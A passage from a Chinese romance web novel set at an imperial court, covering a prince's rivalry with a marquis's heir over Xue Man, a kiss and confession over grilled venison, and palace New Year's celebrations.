裴长旭正苦恼该怎么对付许清桉,从身份上?对方是恒安侯世子,正得父皇看重,并非能随意处置的喽啰。从为人处世上?对方洁身自好,不流世俗,能拒绝公主?的示好,更能婉拒圣上赐婚。 裴长旭不得不承认,他遇上了势均力敌的对手,稍有不慎便会满盘皆输。 恰在此时?,景帝提到求香畔的调查,裴长旭便顺水推舟举荐许清桉,希望将他调得越远越好。 他如愿了。 景帝道:“好,那朕便定他为其中一员,过几日,朕会寻个?理由将他打发出京,年后再与你会合,共同去往兰塬。” “……”裴长旭愕然,“他?与儿臣?共同去往兰塬?” “事到如今,朕只信得过你。”景帝语重心长,“唯有你亲自前往,朕方能安心落意。” 裴长旭握紧手掌,拳头松了又紧,“儿臣与许少卿一起离京,恐怕会引人注目。” “你不是想?带阿满去江南养病?”景帝道:“合情合理,正好借此缘由外出。况且,若真有人因此自乱阵脚,便正中下怀。再者,朕会另派一路人马吸引广阑王的注意,足以确保你们?的安全。” 裴长旭感叹景帝考虑周全,此事已完全超出他的预期。本想?赶许清桉离开京城,未料他也得以身入局。 “好了,此事便这么定下,你回去准备准备。”景帝不容置喙地道:“切记,不可对外透露风声,连你母后也得保密。” 裴长旭敛去苦笑,“儿臣遵命。” 按照惯例,裴长旭该去向薛皇后请安,他舍弃了步辇,选择步行前往凤仪宫。 岁暮天?寒,朔风凛冽。 他见一路张灯结彩,便问:“宫中有何喜事?” 内侍道:“回殿下,明日是冬至节,宫中会举办消寒活动?。” 裴长旭回忆往年的冬至消寒,凡在京的皇子们?皆不会错过热闹。而今小?九犯事,太子令父皇忌惮,其他人难免心思活络……皇城的天?变幻莫测,有人跌落,便有人乘风而起。 裴长旭对皇位不感兴趣,在他看来?,此生做一个?逍遥王爷足矣。无论兰塬之行结果怎样,他只想?在成亲后带阿满离开,去封地过自由自在的生活。 许清桉。 裴长旭慢慢咀嚼这三个?字,眉眼间覆上一层冷然。昨日江书韵的未婚夫登门求见,他打发杜洋前去见面,得知对方另有所爱,竟冒着得罪端王府的危险,也要坚持解除婚约。 想?也知这是谁的手笔!许清桉借此正面向他宣战,非要一争到底。 争又如何?他与阿满间有婚约,牢不可破的家族牵绊,只要他不主?动?放弃,阿满便无计可施。 而他绝不可能放弃。 恍惚间,凤仪宫到了。 融融暖意隔门传来?,裴长旭驻足,听见殿内欢声笑语,少女们?正在追逐嬉闹。 “阿满,我错了,我真错了,我再不敢说?你包的饺子丑了!它们?白白胖胖,像金元宝那般饱满喜气?,只是过于喜气?了些,将肚子都撑破了!” “好你个?裴唯宁,还敢笑我!” “好表妹,我只是调侃你几句罢了,你大人有大量,宰相肚里能撑船,别?同我一般见识!” “你又压到我的饺子了,它们?全扁了!” “无碍,无碍,反正下锅煮时?都得散,变成肉汤进嘴,味道大差不离。” “姑母,您得替我做主?,小?宁她故意作?弄我!” “本宫帮你教训她,待会煮好饺子,罚她不许吃好的,专喝你的便是。” “姑母,您也跟着笑话我……” 裴长旭凤眸含笑,将披风解下递给内侍,推门进入宫殿。 殿内温暖如春,明亮的烛火映照出每一张他爱的脸庞。 薛皇后坐在圆桌的主?位上,旁边站着吴嬷嬷,与她一起捏着饺子;裴唯宁的眼睛笑成弯月,举着一枚饺子皮到处乱跑;薛满脸上沾着些许面粉,既嗔又恼,追在她身后不依不饶。 眼见着要被?薛满抓个?正着,裴唯宁忙向刚进门的裴长旭求救,“三哥,你快帮帮我,阿满生气?要吃人啦!” 她像条灵活的泥鳅一般,冲到裴长旭面前又拐弯跑开。 裴长旭迎上薛满,“阿满。” 薛满立刻刹住脚步,若无其事地道:“表哥,你来?了。” 自万寿宴后,他们?便没再私下见过面,但在薛皇后面前,该装的样子必须装到位。 裴长旭笑道:“看你,都热出汗了。” 薛满道:“嗯,殿里的炭火足,动?一动?便热得很。” 裴长旭问:“小?宁欺负你了?要不要我帮你出气??” 裴唯宁喊:“不要!” 薛满道:“要!” 裴长旭便走向裴唯宁,做出要收拾她的动?作?。 裴唯宁躲到薛皇后身后,“好啊三哥,你重表妹轻亲妹,实在令人不齿!” 薛皇后道:“他们?将来?是要做夫妻的人,一致对外才正常。你要是觉得委屈,赶紧找个?夫君来?帮你。” 裴唯宁嚷道:“我才不要劳什子夫君,我有母后和父皇,受委屈了自有你们?替我撑腰……” 冬至的前夜,薛皇后与子女、侄女在凤仪宫内包饺子。热腾腾的香气?四溢,他们?仿若寻常百姓,体验暖衣饱食,亲人围绕的幸福时?光。 ——窗外寒月也在见证此刻,这永远不能再重演的温馨画面。 * 用过膳,裴唯宁陪着薛皇后去休息,裴长旭与薛满一道回府。 一离开凤仪宫,薛满便拉开距离,揉了揉僵硬的嘴角。她假笑了整个?晚上,有够累的好吗! 裴长旭不回头也猜到她在干吗,无非是保持距离,与他做一对相敬如宾的表兄妹。关院使替她诊治至今,并未唤起她对往昔的任何依恋。 真是令人沮丧。 他抬起手,后边的内侍、宫女们?便悄无声息地退下。 “阿满。”他停住脚步,侧首看她,“陪我一道走走?” 薛满假笑,“天?冷,表哥的伤未痊愈,还是坐步辇更好。” 裴长旭道:“难为你记得我手臂有伤,我以为你全不在意。” “我……”薛满自知理亏,讪讪道:“我明日叫人送些补品到你府上,你记得炖了吃,吃完我继续送。” 裴长旭道:“阿满以为,我想?要你良心难安后的补偿?” 薛满道:“我只给得起这些。”别?的你找江家人要去吧。 “不,你能给的很多,你不过是吝啬罢了。”他轻笑,“倒也是我咎由自取,从前习惯你的委曲求全,如今你收回对我的感情,我便变得一无所有。” “端王殿下。”薛满提醒:“你是尊贵的亲王殿下,想?要任何东西,都会有人拱手送上。” “我只想?要你。” “我又不是东西。” “嗯,你不是东西。” “……”拐着弯骂她呢? “你是我的表妹,我的未婚妻,我想?携手余生的女子。”他道:“我对江诗韵有过情,这是不可否认的事实,但我对你——” “打住。”薛满比个?停的手势,“我不会改变解除婚约的主?意,也不会陪你散步。抱歉害你受伤,能补偿的我会尽力补偿,没法补偿的恕我无能为力。” 她一口气?说?完这些话,片刻后,听他道:“我可以考虑解除婚约。” “……”薛满眨眨眼,她没听错吧? “我可以考虑解除婚约。”裴长旭重复道:“但你要给我适应的时?间。” “要多长时?间?” “不清楚,兴许是几天?,又兴许是几个?月。”他道:“具体得看你的表现。” “那,要我对你再刻薄些吗?”薛满跃跃欲试,“我应该做得到。” “傻姑娘。”裴长旭道:“男子对得不到的东西才会念念不忘,而对容易得手的则会失去激情。” 薛满想?了想?,好像也对? “你只需对我温柔讨好,不多时?我便会失去兴致,同意解除婚约。” “你……此话当真?” “当真。” “……”薛满迎着他温柔似水的眼神,后知后觉地道:“你在撒谎。” “被?你看出来?了?”裴长旭叹气?,“看来?我还得再练练撒谎的本事。” 薛满不想?理他,径直往前走,真是害她白高?兴一场! 裴长旭跟在她身旁,“你陪我走上一段路,我便将云斛还给你。” “你还好意思说?!”薛满生气?,“你早答应还我了!” “陪我走会,今晚云斛便能回薛府。” 为了忠仆的安危,薛满勉强答应他的要求,两人并肩走在前往太清门的路上。天?空忽然洒下零星白絮,没一会,白絮纷纷扬扬,为天?地描绘素净的银妆。 这是今年的第一场雪。 真可惜。薛满伸手接着雪花,遗憾地想?:没能和少爷一起见证初雪。 裴长旭却想?,青丝覆雪,何尝不是另一种白头?没有旁人,只属于他和阿满的共白头。 …… 这场雪一下便是三日。 院里的积雪深厚,墙头树枝上亦不例外。薛满在屋里待得闷时?,便领婢女、护卫们?一起到院里堆雪玩。 她们?将雪揉成各式各样的小?动?物?:兔子、小?猫、小?狗、小?狐狸……其中薛满的手艺最?烂,明荷的手艺最?好,云斛捡来?的雪最?白净。 是的,裴长旭如约放了云斛,云斛虽憔悴不少,但见到自家小?姐平安归来?,且对端王的态度截然两样时?,不禁喜出望外。 端王殿下配不上小?姐! 他吃了次大亏,便只敢在心底呐喊:小?姐该退婚,去找个?更好、更优秀的男子,以此报复端王殿下的三心两意! 可更好的男子在哪? 云斛不知,明荟却有所察觉。这段时?间,小?姐一直跟恒安侯家的世子书信往来?,虽说?内容寻常,没有任何暧昧的字眼,但未婚的年轻男女私下书信,已是亲密无间的征兆! 恒安侯世子是怎样的人? 明荟在万寿节那晚的端王府门前匆匆看过一眼,那是名格外俊美?的青年,小?姐提起对方时?便精神抖擞,仿若喝了一剂养血生津的汤药,全不似喜欢端王殿下时?的患得患失。 她愈加好奇,恒安侯世子有什么优点,能比端王殿下更叫小?姐挂念?随即又惴惴不安:他简直胆大包天?,竟敢撬端王殿下的墙脚……他最?好清楚小?姐的身份,清楚自己在做什么,小?姐可不是任人欺侮之辈! 事实证明,某人的胆子大到无边。 晚间时?,薛满如往常般收到许清桉的信件,她趴在油灯底下,反复看了又看,确定没有看错一个?字后,眼里染上亮晶晶的笑意。 少爷约她明日见面!他们?已经二十天?没见面了!不知少爷有没有变高?变瘦变矮变胖,那张脸是否一如既往的淡恹! 她将信纸叠好,吩咐明荟去找衣裳,“将我的新衣裳拿来?。” 婢女们?拿出御秀局新做的几件衣裳,薛满摇头道:“不是宫里做的这些,是我之前带来?的那几件。” 那是许清桉请人给她做的冬装,天?未变冷,她便被?接回薛府,连穿它们?的机会都没有。 明荟翻出那几件衣裳,虽比不得宫里的做工精巧,但也是极好的布料与花样。 薛满挑了件碧绿色的袄裙,又吩咐明荟找好配饰,备妥所有事情后,方带着满足的微笑入睡。 一夜好眠。 翌日,薛满带上婢女护卫,在约定的时?间内抵达有璟阁。这是京城内数一数二的精品阁,明荟从前陪着主?子来?过几回,但往常去的是贵宾三楼,今日却被?谭管事柜领着往五楼去。 明荟狐疑,小?声道:“小?姐,您从前没去过五楼。” 薛满道:“往后会经常去的。” 她笑眯眯地登上五楼,一眼便看到不远处的熟人,“苏合,俊生!” 被?叫到的两人笑容满面,“阿满姐姐/阿满姑娘!” 薛满问:“少爷人呢?” 俊生道:“少爷正在房里等您,您快进去吧。” 薛满上前几步,忽然闻到一阵诱人的香味,似乎是……似乎是炙肉? 呃,这是股不该出现在有璟阁的味道,但它偏偏出现了。 不等薛满想?明白是怎么回事,俊生身后的门由内打开,一道颀长身影出现,瞬间吸引明荟等人的视线。 ……一个?字,俊。两个?字,很俊。三个?字,相当俊! 这般俊美?的青年,腰间却挂了个?丑荷包,上面的图样不伦不类。 “哇!”薛满惊喜,“你今日戴了我绣的荷包!” 明荟立刻端正思想?:小?姐绣的?那便是别?出心裁的设计!不愧是她家小?姐,绣个?荷包亦是不落俗套! 再说?那恒安侯世子,年轻与端王殿下相近,端王殿下温雅贵气?,这位世子则是风流跌宕,两者的气?度难分伯仲。 恒安侯世子没看旁人,走近小?姐,顺手替她掸去肩上的雪,“嗯,我休沐时?便戴它。” 小?姐问:“平时?不能戴吗?” 恒安侯世子道:“我怕戴去衙署,旁人见它有趣,非要夺我所好。” 咦!夺!他!所!好! 小?姐的关注点却不寻常,“为何是有趣,不能是好看?” 恒安侯世子没惯着她,“你扪心自问,它真好看吗?” 小?姐哼道:“不好看你还戴?” 恒安候世子道:“千金难买我乐意,对了,你还欠我两块帕子。” 小?姐道:“我很忙,等我有空了再绣。” 恒安侯世子道:“你最?近在忙什么?” 小?姐叹气?,“都是些无聊的事情,远没有跟你出去查案来?得有趣……” 两人进了房间,明荟、云斛本想?跟进去,被?苏合伸手拦下。 “两位且慢。”俊生面容清秀,说?话和善,分外招人好感,“天?气?冷,世子在隔壁间准备了酒水吃食,两位不如进去歇息会儿,等主?子们?说?好话再出来?。” 明荟与云飞对看一眼,“不了,我们?在这等小?姐便好。”说?罢往左边一站,沉默又警戒。 苏合、俊生亦是当差之人,对他们?的行为表示理解,两人往右边一站,顿时?化身四尊门神守在外头。 房间内,桌上架着小?烤炉,摆着新鲜片好的鹿肉,鲜蔬瓜果,酒水点心。 薛满解下披风,丢到椅背上,“少爷,你竟然在有璟阁里烤肉?这里的管事没骂你吗?” 许清桉将她的披风挂到架子上,“他敢骂我,明日便不用来?了。” 话里的意思,他比管事还要大? “你是这里的东家?” “嗯,前几年帮老?东家解决了一件事,他便将有璟阁转给了我。” “那得是多大多大的一件事!”薛满感慨:“少爷,你真是藏而不露的高?手,难怪肯将库房钥匙给我,原来?在外头还有更挣钱的路子。” “想?要这里的管事权吗?” “那怎么好意思,管家管家,管家便好,我不贪你外面的好处。” 两人坐到桌前,薛满想?亲自动?手烤肉,奈何袖子宽大,稍有不慎便会沾上油污。 这可是少爷给她做的新衣裳! 正苦恼间,许清桉坐到她右边,拿起筷子,细致地翻起肉片。 薛满叮嘱:“我喜欢吃嫩些的炙肉,少爷,你千万别?烤老?了。” 许清桉看她一眼,半个?多月未见,她依旧明眸善睐,神采奕奕,眼底只有炙肉,不见半分愁绪。 好极,饱受相思之苦的人里没有她。 他眸底翻涌着莫名情绪,道:“我要喝酒,替我倒上一杯。” 薛满听话照做,刚要为自己倒一杯茶时?,许清桉道:“你不喝酒?” 薛满道:“算了,我问过七公主?,原来?我酒量极差,三杯便能倒。” “炙肉配酒,滋味天?下难有。”许清桉语带诱惑,“你真不来?两杯?” 薛满心痒难耐,两杯吗?好像也不是不行? 许清桉道:“这是我特意寻来?的陈年葡萄酒,由波斯酒匠酿制而成,在地底足足埋了十年,寻常人连闻的机会都没有。” “那我必须尝一尝。”薛满迅速改变意志,“错过便可惜了。” 她替自己倒上半杯酒,轻抿了一口,先是品到清甜果香,再是浓郁醇厚的酒气?,滋味丰富,妙不可言。 “好酒!”她道。 许清桉替她夹了一片炙肉,她道了声谢,美?滋滋地吃起肉,喝口酒,眨眼便喝完半杯。 她续上半杯,催促道:“少爷,你也尝尝,味道好极了。” 许清桉将杯中酒一饮而尽,“是不错,但比起那晚的琼秋酒,还是差了一些。” 她虚心求教,“差在哪里?” 许清桉道:“人。” 薛满不明其意,他却不肯再多说?,陪着她又饮半杯。 这是薛满喝下的第一杯。 她脸颊微红,口齿清晰,“少爷,阿大和阿理都冬眠了,阿寺、阿少和阿卿呢,它们?怎么样?” 许清桉道:“也都睡了,要等来?年春日,天?气?暖和了才会醒。” “离来?年春日还有好几个?月,也不知那时?我回没回瑞清院。” “你在薛府生活后,仍旧想?回瑞清院?” “想?啊,薛府虽然好,但是不能随意出门,明荟说?世家贵女们?都不能随意出门,否则会惹人闲话。而且姑母经常召我进宫,宫里的规矩真多,我必须谨言慎行,以免丢姑母的脸面。”她大大地叹了口气?,“累,真累啊!” “皇后娘娘对你好吗?” “姑母、祖父、小?宁对我都很好,便连端……” “便连端王也对你很好。”许清桉接过话,“你改变主?意,愿意嫁给他了?” “有人对我好,我便要嫁给他吗?”薛满没好气?地道:“那我不如嫁给俊生,俊生对我也够好!” 许清桉不满她舍近求远的行为,替她斟上酒,“嫁了人,便不能再当我府中的管家。” “行行行,好好好,我不嫁,永远都不嫁。”她单手支额,苦恼地饮下整杯酒,“我使尽了各种办法,端王仍不肯松口,难道要我再逃一次婚,丢尽他的颜面才能如愿?” 她越说?越生气?,用手敲起脑袋,“祖父答应了我,恢复记忆便帮我解除婚约,但关太医帮我针灸了这么些天?,药也喝了不少,偏偏一点都记不起来?!” “别?打头。”许清桉道:“记不起便记不起。” “再记不起,我便要嫁给端王了!”薛满眼里染上醉意,“或者说?你有好办法帮我解除婚约?你有吗?你肯定有,我家少爷最?聪明能干,连秦长河与韩夫人的阴谋都能识破!” “要听实话吗?” “听!” 应该是“要”,她酒意已然上头。 许清桉道:“我并无十足把?握,能叫端王殿下解除婚约。” “没有十足,那有几足?” “具体几足,得看你我的关系到哪步。” 许清桉替她倒上最?后半杯酒,薛满仰头喝尽,质问道:“回京短短两个?月,你便忘记我们?同甘共苦的情分了?许清桉,你才该请关太医替你看看脑子!” 许清桉不恼也不怒,“恒安侯府并不缺下人。” “……”薛满眼中跃起两簇火焰。 “我已经与欧阳管家说?好,会送俊生给他管教。” “你,你要让俊生当欧阳管家的接班人?” “是有此意。” “许清桉,你欺人太甚!”薛满站起身,怒气?冲冲地指着他,“又是不缺下人,又是叫俊生跟欧阳管家学习,你分明是喜新厌旧,不想?我再回到瑞清院!” “你身为薛家小?姐,成日只想?着做个?婢女,做个?管家,志向未免短浅。” “我乐意,谁也管不着!” “你要去瑞清院,我便管得着。” “你!”薛满从未觉得眼前的人这般讨嫌,“你忘恩负义,三心二意,见异思迁!” “你形容得不准确。”许清桉道:“这些均是形容负心人的词。” “你比负心人没好到哪里去!” 许清桉慢条斯理地……翻肉,由她居高?临下地怒视自己。 “祖父正在为我相看亲事,送来?了诸多京中贵女的画像,其中有一人甚合我意。” 薛满茫然一瞬,什么叫有人甚合他意?他打算遵从老?侯爷的想?法娶妻?是谁家姑娘进了他挑剔的眼? “你看中了哪家小?姐?” “你见过她,不妨猜一猜。” “是凌峰的妹妹,那位有名的才女吗?” “凌姑娘吗?她的确不错,又对我一往情深,可惜并不投缘。” “那是谁,荣国公府的刘五小?姐?” “刘五小?姐中意端王殿下的侧妃之位,更何况她父亲落难,她早已被?剔除贵女行列。” 薛满有种不好的预感,她认识的贵女,优秀到能进许清桉的眼……“你,你喜欢的人是小?宁?” “七公主??”许清桉挑眉,“她也不错,但我此生无意驸马之位。” 这不是,那不是,全都不是! 薛满松了口气?,随即异常烦闷,他到底看中了哪家小?姐! 相比于她,许清桉显得轻描淡写,“你不是总盼着我娶妻生子?也好,往后便能了却一桩心事。” 是,她从前盼着他娶妻生子,她便能顺理成章地留在侯府,辅佐一代又一代的世子,成为威风凛凛的大管家! 但他现在决意培养俊生,侯府哪还有她的位置?! 薛满委屈不已,拎上酒壶要再来?一杯,许清桉利落地夺走,道:“三杯醉的酒量,便绝不能叫你喝到三杯。” “你小?肚鸡肠,无理取闹,连杯酒都吝啬给我喝!” “我这叫前车之鉴。” “你就是小?气?,纯小?气?!” 炉上的肉烤得过时?,散发着一股难闻的焦味。薛满双颊通红,怒意比酒更叫她头昏脑涨。 “我以为、我以为你约我来?有璟阁,是不习惯我离开这么久,想?要与我见见面,说?说?话,交流交流彼此的近况。岂料你翻脸不认人,因为有了中意的小?姐,便要割断我们?之间的关联!” “那你呢?你应约前来?是为何?” “我自然是……” “自然是什么?”许清桉目不转睛地盯着她,似一头瞄准猎物?,蓄势待发的猎豹。 她忽然慌乱且胆怯,为那险些出口的答案,也为许清桉咄咄逼人的眼神。 “我要走了!” “走去哪里?” “干卿何事?你恒安侯府不要我,自有要我的地方!” 这话语耳熟能详,一如当初在衡州衙门里他们?为竹叶青起了争执,她与孟超在墙后的对话。 她从来?无惧,无惧与他争吵,无惧与他分离,更可恶的是,无惧他呼之欲出的浓烈情感。 他拉住她的手腕,止住她离开的身形,“阿满,你实在自私。” “我没有!”薛满挣扎,“你松手,我不想?和你说?话!” 他溢出一声轻笑,“是,不与我说?话,也有许许多多的人排队等着你。” “许清桉,看在你喝了酒的份上,我可以不计较——” 温热的唇迎上,堵住她未出口的怒言气?语,他维持坐的姿势,仰起修长的脖颈,吻住瞋目切齿的少女。 一个?清醒却沉醉,无法再被?擅自遗忘的吻。 第78章 第 78 章 薛满堕进了一团云, 一团柔软到令人?意识昏沉的云。 她?被托举在淡淡的酒香中,感受到春风拂面,夏雨消暑, 秋高气?爽,冬雪融化…… 什么乱七八糟的! 她?陡然回神, 一把推开失智的某人?,他在做什么, 疯了吗! “我没有疯。”许清桉不问自答:“从今往后, 你我无须再打机锋,恒安侯府不缺婢女,不缺管家,缺的只有一位世子夫人?。” “你, 你分明说看中了一名贵女!” “你如今再猜, 便能?准确无误地猜到她?姓甚名谁。” 他静静地凝视着她?,瞳孔倒映出她?的手足无措, 那是?一种急于否认的慌张。 她?扯过架子上?的披风,口不择言地道?:“你马上?要满二十,正是?娶妻的好年纪, 我祝你能?寻觅到合心合意的妻子, 届时定为?你们送上?一份厚礼。” 听听,多?没心没肺的一番话,将她?摘得一干二净。 他不再阻挡她?的离去, 只道?:“阿满,你不能?总想着避风, 却不收容港湾。” …… 有璟阁的隔音很好, 好到明荟、云飞听不到雅间里?的争执。他们见薛满慌张跑出,一言不发地往楼下跑, 便匆忙向苏合、俊生道?别,齐齐跟着离开。 回程的马车上?,明荟听见薛满口中念念有词,什么“不可能?”“开玩笑”“他昏了头”等等,显然与恒安候世子有了分歧。 是?怎样的分歧,能?叫小姐眼波氤氲,浑是?春心荡漾的姿态? 明荟暗自心惊,殊不知薛满心底全然不是?这么回事。 她?想,少爷是?一时糊涂,才会做出冒犯之举,等他恢复清醒,他们便能?回到坚固如铁的主仆关?系,又能?相互扶持地走完一生! 可她?脑中响起另一道?声音:要说坚固如铁,夫妻不是?比主仆更坚固如铁? 薛满立即反驳:男女之情?是?这世上?最薄弱的关?系!今日是?一双有情?人?,改日又翻脸不认人?,随便出去瞧瞧,哪家有权有势的人?家里?不养姬妾?便说老恒安侯,他足足养了四个妾室! 那声音道?:那关?许清桉何事,他父亲此生只娶了他母亲一人?。 薛满道?:那是?因为?他死得早,但凡他活久一些,活老一些,指不定要纳几个妾室。 那声音道?:所?以你不讨厌许清桉,之所?以逃走,是?怕他将来会辜负你。 薛满揪紧帕子,慌乱的心徐徐变冷,沉向未知的深渊。 少爷那样那样的好,好到光想到他,都能?叫她?神采飞扬。 他会喝她?炖的猪肺汤,难喝也不打紧;吃她?剥的卢橘,生虫也不责怪;戴她?绣的荷包,丑模丑样也不嫌弃。 他会气?她?做冒险的事,替她?清理伤口,愿意用自己换取她?的安全。 他从不否定她?的情?绪,共享她?的快乐,安慰她?的难过,纵容她?的奇思?妙想。 她?也曾梦到与他亲密接触,短暂的脸红心跳后,便会被巨大的阴影笼罩。 他说得没错,她?视他为?避风的港湾,并且贪心地希望,避风的期限能?是?永久。 谈情?说爱是?毁灭一段感情?最简单的方式,而她?不想失去少爷,也不能?失去少爷。 她?以为?他们有心照不宣的默契,可他今晚用尖锐的言辞、柔软的亲吻捅破窗户纸,揭开她?的一厢情?愿。 他不满足于主仆关?系,想要建立更亲密无间的契约,譬如……与她?成为?夫妻。 一股久违的痛心震荡胸怀,薛满随着马车颠簸,闪现记忆深处的某些片段。 那是?名缩在马车角落,无声落泪的少女。她?不敢哭出声,只能?咬唇隐忍,泪珠顺着面颊滚滚滑落。 要是?不贪图嫁给三哥便好了,与他做一辈子的兄妹,也好过反复见证他爱上?别人?的狼狈。 无论哪种情?感,都比男女之情?要持久牢固,不会叫人?痛彻心扉,不会叫人?难以自拔。 她?不要再喜欢上?任何人?,渴望任何一份感情?,期盼与谁长相厮守。 一个人?很好,守护好自己的心便很好。 …… 又下雪了。 瑞清院中悄寂无声,书房的窗沿堆着雪,薄薄的窗纸透着些许亮光,不一会便暗了下去。 许清桉靠着椅背,长眸阖紧,与黑暗融为?一体。 冬夜漫长且安静,静到他能?听见雪的堆积,风的躁动?,怒意的悄然扩散,又消失得无影无踪。 怒什么,怒她重逢后的无动于衷,或是?一装到底的决心? 在意识到先动?情?的那刻起,他便丧失主动?权,将喜怒哀乐全交由她来决定。 初时他想得简单,婚约也好,未婚夫也罢,威逼利诱使对方退出,再设法让阿满点头嫁给他,厮守便是水到渠成。但现实一波三折,她?的家世显赫,未婚夫权势滔天,是?恒安侯府都难以抗衡的存在。 饶是?如此,他从未想过放弃,若是?不战而败,与懦夫有何区别? 端王殿下今早命人?送来一封信,信中声称,只要他放弃阿满,便会帮他寻回娘亲,助她?成为?堂堂正正的侯府夫人?。 端王殿下好手段,准确找出他的命门,以此来引诱他主动?退出。 阿满与娘亲,孰重孰轻? 许清桉对?娘亲的记忆非常遥远,面容声音均已模糊,牢记的是?她?温柔的语调,精致的绣工,以及长年累月的劳苦。 为?养育他,娘亲吃了许多?苦,却没有分毫的怨言。 祖父寻来后,娘亲经过一夜思?考,几乎绝情?地烧掉他所?有衣物?,将他推向截然不同的人?生。 “等你名扬天下,我会主动?来找你,在此之前,不要再奢望见我。” 她?说到做到,自此杳无音信,像水汽一般蒸发在世间。而他为?了见到娘亲,努力活着,力争上?游,想登到青霄碑的最高处,高到能?让娘亲听到他的优秀。 那是?他在恒安侯府坚持的唯一信念,支撑着他度过难熬的日日夜夜。可从半年前起,他的生活不再荒芜贫瘠,充满奇妙的变幻。 她?救了他,给他一段色彩斑斓的陪伴,他在尝过甜头以后成瘾,似那些病重的患者?对?蒂棠茚般无法戒断。 即便了却多?年夙愿,也难以对?阿满戒断。 分别后,他愈加憎恶院落的孤寂,长夜比童年时更加难熬,偶有绮梦相聚,醒后却只剩漫无边际的失落。 他触碰不到她?,便期待每日清晨,能?收到她?回信的那一刻,通过文字感受她?在身旁,仿佛他们从未分离。 他耽于思?念,便理所?当然地认为?她?也一样。岂料今日见面,她?容光焕发,在乎的只有炙肉,鲜嫩的炙肉。 受折磨的人?只有他。 凭什么只有他? 他恶念丛生,于是?诱她?饮酒,逼她?火气?,用避无可无的亲密叫她?认清现实。 一个人?的沉沦太孤单,两个人?的沉沦才深重,配得起锲而不舍地追逐。 她?想置身事外?不如白日做梦。 许清桉睁眼,看向书案上?的一份案卷,那是?一桩尘封多?年的旧案,关?于阿满父亲意外身亡的详细经过。 据蜚零所?言,端王殿下出身尊贵,能?力非凡,品性谦雅,除去与那江家姐妹的纠葛,人?生堪称无可挑剔。 ……当真无可挑剔吗? 许清桉想,战功赫赫如祖父,尚有不可告人?的秘密,更何况是?皇室子女? 他喜欢查案的过程,抽丝剥茧,顺藤摸瓜,再一击必中,使犯人?束手就擒。 面对?端王时亦不例外。 * 薛满天真的以为?,这次争吵会与竹叶青那回一样,以短暂的冷战和许清桉的示好作为?终结。但她?等了又等,没再等到他的来信,也没等到任何拐弯抹角的示好。 咦,他真生气?了! 薛满也生气?,为?何他执意打破现状,将事情?导向不能?控制的局面?成吧,便断绝一阵子的来往,以便他深刻意识到错误,才能?迷途知返,挽回他们的主仆之情?。 暮去朝来,转眼便是?除夕。 薛满白日在薛家老宅,陪薛老太爷挂春联,放响鞭。用过午饭又马不停蹄地赶去宫中,跟薛皇后、裴唯宁一起剪窗花,挂灯笼,没有一刻得闲。 傍晚,裴长旭处理完事务,赶到凤仪宫跟他们会合。他亲自写了一副对?联,上?联:瑞兆丰年迎好运,下联:福盈四海庆团圆,赢得众人?的交口赞誉。 酉时天黑,阖宫及百官在百花厅内庆贺除夕,薛满照旧坐在裴唯宁的身侧,对?面的青年却从两个变了其中一个。 许清桉没来参加除夕宴。 薛满黯下眼眸,他在刻意躲着她?吗?他真要与她?恩断义绝,今后老死不相往来? “这怎么可以。”她?委屈地自言自语:“翻脸不认人?的小气?鬼。” 裴唯宁误以为?她?在跟自己说话,“你说什么,我没大听清?” 薛满低声,“哦,我在说困了,待会想早点回府休息。” 裴唯宁道?:“今日可早不了,待会我们还要一起去母后那放烟火,再回我的宫殿守岁到凌晨呢。” 薛满摇头,“你们去吧。” 裴唯宁坚持,“不成,从你八岁开始,我们每年除夕都要做同样的事情?,今年也不例外。” 薛满有气?无力,“同一件事做得久了,也会觉得厌烦。” 裴唯宁察觉出她?近日情?绪低落,往对?面看了一眼,心中已然有数。这段时间阿满一直提不起劲,想也知道?与谁有关?。哼,许清桉嘴上?叫得响亮,做的事却没比三哥强多?少,都只会影响阿满的快乐。话本子里?说得没错,男子皆蠢笨如猪,一点不如香香软软的妹子可爱! “好阿满,我想要你陪着放烟火,你若是?不在,我一个人?多?无趣。”裴唯宁往右边瞥了一眼,“不然我找她?一起放?” 她?右边是?太子妃蒋芸娘。 薛满无奈,她?怕了这位说到做到的公主殿下,“那我放完烟火便回去。” “还有守岁!” 薛满没纵着她?,坚持放完烟火便走。裴唯宁唉声叹气?:失忆后的阿满,远不如从前的表妹好说话了! 酒阑宾散,帝后领着嫔妃、皇子公主们在殿前一起观赏烟火。比起往年,今日少了张家的三位重要人?物?,却没耽误除夕的热闹非凡。烟火秀无比的盛大绚烂,璀璨地闪耀天际,将寒夜点缀得流光溢彩。 平心而论,这比衡州乞巧节时的烟火要强上?千百万倍,但薛满兴致阑珊,只想回家抱着被子睡一觉。 身边的人?不对?,精彩也成了无趣。 此时此刻,站在她?身边的裴长旭亦有所?感触。兜兜转转小一年,阿满从逃家到回归,终是?重新?站在他的身旁。 唯有阿满,才有资格与他一起,接受所?有的荣耀与瞩目。 除夕夜,景帝仍有忙不完的政务,放完烟火后又返回御书房,晚些再到凤仪宫歇息。 太子领着太子妃等人?回东宫,临走前裴茹楠特意向薛满恭敬行礼,道?:“祝阿满姑姑来年遂心如意,万事大吉。” 薛满轻抚她?的头顶,“宝儿真乖,明日我带件礼物?送你。” 裴茹楠兴奋,“什么礼物??我现在便想知道?。” 薛满道?:“不成,说出来便没有惊喜了,等明日一早……” “宝儿,该走了。”太子妃远远喊道?。 裴茹楠恋恋不舍地离开,那厢,裴长旭也跟皇子们道?完别,返到薛满面前,“阿满,我们一起去凤仪宫。” 裴唯宁搂住薛满的手臂,“开始我们兄妹三人?每年的固定活动?,点烟火,放鞭炮,顺便我们姐妹再熬夜守个岁!” “我不守。”薛满不厌其烦地纠正。 裴唯宁装没听到,三人?回到凤仪宫,在薛皇后的叮咛下,小心谨慎地点起长鞭炮。 鞭炮声噼里?啪啦,响亮地辞旧迎新?。 这是?一场独属于薛家人?的小聚会,裴唯宁在跑闹,薛满捂着耳朵在躲,裴长旭则仔细地护着两人?。 吴嬷嬷扶着薛皇后站在后头,笑道?:“娘娘好福气?,能?有端王殿下、七公主这双优秀的儿女,又有薛小姐这般乖巧贴心的儿媳。” 薛皇后微笑不语,神色若有所?思?。她?身为?皇后,在宫中自有暗藏的情?报势力。景帝与裴长旭虽瞒得严实,却仍叫她?嗅到了一丝不寻常的味道?。 令人?热血沸腾的不寻常。 很久以前,她?便放弃了某些奢望,盼着旭儿、小宁平安喜乐便好。这么多?年来,旭儿与世无争,从不贪恋权势。然而世事无常,如今那高高在上?的位置主动?向旭儿招手,她?又岂能?不怦然心动?? 修弟…… 